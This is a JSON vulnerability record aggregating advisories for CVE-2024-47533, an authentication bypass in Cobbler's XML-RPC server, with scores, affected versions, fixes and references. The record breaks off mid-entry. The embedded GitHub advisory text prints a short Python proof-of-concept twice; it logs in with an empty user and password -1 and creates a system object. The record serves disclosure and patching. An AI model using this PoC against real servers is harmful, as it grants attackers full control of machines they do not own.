{"id":"CVE-2024-47533","aliases":["EUVD-2024-3281","GHSA-m26c-fcgh-cp6h","OESA-2025-1411","OESA-2025-1412","OESA-2025-1413","OESA-2025-1414","OESA-2025-1435","PYSEC-2026-316","SUSE-SU-2024:4006-1","SUSE-SU-2024:4007-1","UBUNTU-CVE-2024-47533","openSUSE-SU-2024:0370-1","openSUSE-SU-2024:0382-1","openSUSE-SU-2024:14512-1"],"status":"published","title":"Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.04003,"percentile":0.90614,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-287"],"published":"2024-11-18T13:19:53Z","modified":"2026-10-28T02:30:48Z","exploits":[{"source":"pocgithub","id":"baph00met/CVE-2024-47533","title":"baph00met/CVE-2024-47533","date":"2025-08-11","url":"https://github.com/baph00met/CVE-2024-47533"},{"source":"pocgithub","id":"00xCanelo/CVE-2024-47533-PoC","title":"00xCanelo/CVE-2024-47533-PoC","date":"2025-08-12","url":"https://github.com/00xCanelo/CVE-2024-47533-PoC"},{"source":"pocgithub","id":"dollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC","title":"dollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC","date":"2025-08-12","url":"https://github.com/dollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC"},{"source":"pocgithub","id":"zs1n/CVE-2024-47533","title":"zs1n/CVE-2024-47533","date":"2025-08-13","url":"https://github.com/zs1n/CVE-2024-47533"},{"source":"pocgithub","id":"okkotsu1/CVE-2024-47533","title":"okkotsu1/CVE-2024-47533","date":"2025-08-14","url":"https://github.com/okkotsu1/CVE-2024-47533"},{"source":"nuclei","id":"CVE-2024-47533","title":"Cobbler 'XML-RPC' - Authentication Bypass","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-47533.yaml"}],"fixes":[{"ecosystem":"PyPI","package":"cobbler","fixed_in":["3.3.7","3.2.3"],"sources":["ghsa","osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"cobbler","fixed_in":["3.2.0-4.oe2203sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"cobbler","fixed_in":["3.2.0-5.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"cobbler","fixed_in":["3.2.0-5.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:20.03-LTS-SP4","package":"cobbler","fixed_in":["3.2.0-4.oe2003sp4"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP3","package":"cobbler","fixed_in":["3.2.0-4.oe2203sp3"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP6","package":"cobbler","fixed_in":["3.3.7-bp156.2.6.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"cobbler","fixed_in":["3.3.7-bp156.2.6.1"],"sources":["osv"]},{"ecosystem":"SUSE:Package Hub 15 SP5","package":"cobbler","fixed_in":["3.3.7-bp155.2.3.2"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.5","package":"cobbler","fixed_in":["3.3.7-bp155.2.3.2"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"cobbler","fixed_in":["3.3.7-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.7"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.7"}]}],"versions":["3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6"]},{"source":"osv","ecosystem":"PyPI","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.3"}]}],"versions":["3.1.2","3.2.1","3.2.2"]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-4.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-5.oe2403"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-5.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-4.oe2003sp4"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-4.oe2203sp3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.3"},{"introduced":"3.3.0"},{"fixed":"3.3.7"}]}],"versions":["3.1.2","3.2.1","3.2.2","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6"]},{"source":"osv","ecosystem":"SUSE:Manager Client Tools 15","package":"uyuni-proxy-systemd-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150000.1.27.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Client Tools for SLE Micro 5","package":"uyuni-proxy-systemd-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150000.1.27.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"mgr-daemon","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.11-150400.3.21.6"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.29-150400.3.42.8"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacewalk-backend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.30-150400.3.47.16"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacewalk-certs-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.26-150400.3.36.7"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.21-150400.3.33.11"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacewalk-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.19-150400.3.29.9"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"spacewalk-web","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.42-150400.3.52.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"susemanager-build-keys","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.4.10-150400.3.29.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"uyuni-common-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.11-150400.3.21.6"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.3","package":"uyuni-proxy-systemd-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150000.1.27.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.3-150400.5.52.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"grafana-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.11.0-150400.3.21.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"inter-server-sync","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.5-150400.3.36.13"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"saltboot-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1723628891.ffb1da5-150400.3.18.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.29-150400.3.42.8"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-backend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.30-150400.3.47.16"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-certs-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.26-150400.3.36.7"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.21-150400.3.33.11"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150400.3.18.6"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.82-150400.3.96.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-utils","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.22-150400.3.29.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"spacewalk-web","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.42-150400.3.52.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.39-150400.3.58.5"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager-build-keys","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.4.10-150400.3.29.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager-docs_en","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150400.9.66.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.27-150400.3.45.11"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager-sls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.45-150400.3.55.4"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"susemanager-sync-data","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.21-150400.3.35.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"uyuni-common-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.11-150400.3.21.6"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.3","package":"uyuni-reportdb-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.11-150400.3.18.12"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy 4.3","package":"release-notes-susemanager-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150400.3.90.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server 4.3","package":"release-notes-susemanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.14-150400.3.122.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP6","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.7-bp156.2.6.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.7-bp156.2.6.1"}]}]},{"source":"osv","ecosystem":"SUSE:Package Hub 15 SP5","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.7-bp155.2.3.2"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.7-bp155.2.3.2"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"cobbler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.7-1.1"}]}]}],"products":[{"vendor":"cobbler","product":"cobbler"},{"vendor":"cobbler_project","product":"cobbler"}],"references":[{"url":"https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47533","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml","tags":["web"]},{"url":"https://pypi.org/project/cobbler","tags":["web","package"]},{"url":"https://github.com/advisories/GHSA-m26c-fcgh-cp6h","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47533.json","tags":["advisory"]},{"url":"https://github.com/cobbler/cobbler","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1411","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1412","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1413","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1414","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-1435","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20244006-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1146701","tags":["report"]},{"url":"https://bugzilla.suse.com/1211899","tags":["report"]},{"url":"https://bugzilla.suse.com/1212985","tags":["report"]},{"url":"https://bugzilla.suse.com/1217003","tags":["report"]},{"url":"https://bugzilla.suse.com/1217338","tags":["report"]},{"url":"https://bugzilla.suse.com/1217978","tags":["report"]},{"url":"https://bugzilla.suse.com/1218090","tags":["report"]},{"url":"https://bugzilla.suse.com/1219450","tags":["report"]},{"url":"https://bugzilla.suse.com/1219645","tags":["report"]},{"url":"https://bugzilla.suse.com/1219887","tags":["report"]},{"url":"https://bugzilla.suse.com/1221435","tags":["report"]},{"url":"https://bugzilla.suse.com/1221505","tags":["report"]},{"url":"https://bugzilla.suse.com/1223312","tags":["report"]},{"url":"https://bugzilla.suse.com/1223988","tags":["report"]},{"url":"https://bugzilla.suse.com/1224108","tags":["report"]},{"url":"https://bugzilla.suse.com/1224209","tags":["report"]},{"url":"https://bugzilla.suse.com/1225603","tags":["report"]},{"url":"https://bugzilla.suse.com/1225619","tags":["report"]},{"url":"https://bugzilla.suse.com/1225960","tags":["report"]},{"url":"https://bugzilla.suse.com/1226090","tags":["report"]},{"url":"https://bugzilla.suse.com/1226439","tags":["report"]},{"url":"https://bugzilla.suse.com/1226461","tags":["report"]},{"url":"https://bugzilla.suse.com/1226478","tags":["report"]},{"url":"https://bugzilla.suse.com/1226687","tags":["report"]},{"url":"https://bugzilla.suse.com/1226917","tags":["report"]},{"url":"https://bugzilla.suse.com/1227133","tags":["report"]},{"url":"https://bugzilla.suse.com/1227334","tags":["report"]},{"url":"https://bugzilla.suse.com/1227406","tags":["report"]},{"url":"https://bugzilla.suse.com/1227526","tags":["report"]},{"url":"https://bugzilla.suse.com/1227543","tags":["report"]},{"url":"https://bugzilla.suse.com/1227599","tags":["report"]},{"url":"https://bugzilla.suse.com/1227606","tags":["report"]},{"url":"https://bugzilla.suse.com/1227746","tags":["report"]},{"url":"https://bugzilla.suse.com/1228036","tags":["report"]},{"url":"https://bugzilla.suse.com/1228101","tags":["report"]},{"url":"https://bugzilla.suse.com/1228130","tags":["report"]},{"url":"https://bugzilla.suse.com/1228147","tags":["report"]},{"url":"https://bugzilla.suse.com/1228286","tags":["report"]},{"url":"https://bugzilla.suse.com/1228326","tags":["report"]},{"url":"https://bugzilla.suse.com/1228345","tags":["report"]},{"url":"https://bugzilla.suse.com/1228412","tags":["report"]},{"url":"https://bugzilla.suse.com/1228545","tags":["report"]},{"url":"https://bugzilla.suse.com/1228638","tags":["report"]},{"url":"https://bugzilla.suse.com/1228851","tags":["report"]},{"url":"https://bugzilla.suse.com/1228945","tags":["report"]},{"url":"https://bugzilla.suse.com/1229079","tags":["report"]},{"url":"https://bugzilla.suse.com/1229178","tags":["report"]},{"url":"https://bugzilla.suse.com/1229260","tags":["report"]},{"url":"https://bugzilla.suse.com/1229339","tags":["report"]},{"url":"https://bugzilla.suse.com/1231332","tags":["report"]},{"url":"https://bugzilla.suse.com/1231852","tags":["report"]},{"url":"https://bugzilla.suse.com/1231900","tags":["report"]},{"url":"https://bugzilla.suse.com/1231922","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2024-47533","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-49502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-49503","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20244007-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2024-47533","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-47533","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/NP6TUCO4CMINP73KVXN3DS2DMBSTQ3B4/","tags":["advisory"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/CGWWFM26ZMG5SCPMDNQQNYHHTROXVX2Q/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1203478","tags":["report"]},{"url":"https://bugzilla.suse.com/1204900","tags":["report"]},{"url":"https://bugzilla.suse.com/1205489","tags":["report"]},{"url":"https://bugzilla.suse.com/1205749","tags":["report"]},{"url":"https://bugzilla.suse.com/1206060","tags":["report"]},{"url":"https://bugzilla.suse.com/1206160","tags":["report"]},{"url":"https://bugzilla.suse.com/1206520","tags":["report"]},{"url":"https://bugzilla.suse.com/1207595","tags":["report"]},{"url":"https://bugzilla.suse.com/1209149","tags":["report"]},{"url":"https://bugzilla.suse.com/1219933","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/2LAXV37YWWRKUA3I3RM5AVTLLGOJCZUG/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-47533","title":"Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","status":"published","published":"2024-11-18T16:33:55.229Z","modified":"2024-11-18T18:24:07.378Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:33:57.302325Z"}],"euvd":[{"id":"EUVD-2024-3281","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","status":"published","published":"2024-11-18T16:33:55Z","modified":"2024-11-18T18:24:07Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:04:56.531722Z"}],"ghsa":[{"id":"GHSA-m26c-fcgh-cp6h","title":"cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes","description":"### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -\u003e Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.","status":"published","published":"2024-11-18T20:00:56Z","modified":"2026-10-27T16:26:42Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:41:38.969831Z"}],"nvd":[{"id":"CVE-2024-47533","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","status":"published","published":"2024-11-18T17:15:11.563Z","modified":"2026-06-17T07:57:15.333Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:10:37.632431Z"}],"osv":[{"id":"CVE-2024-47533","title":"Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","status":"published","published":"2024-11-18T16:33:55.229Z","modified":"2026-10-28T02:30:48.694631835Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:44:43.253252Z"},{"id":"GHSA-m26c-fcgh-cp6h","title":"cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes","description":"### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -\u003e Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.","status":"published","published":"2024-11-18T20:00:56Z","modified":"2026-10-27T16:45:03.500878508Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"OESA-2025-1411","title":"cobbler security update","description":"Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, \u0026amp;apos;koan\u0026amp;apos;, that integrates with cobbler. Cobbler\u0026amp;apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.\r\n\r\nSecurity Fix(es):\n\nCobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `\u0026apos;\u0026apos;` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the 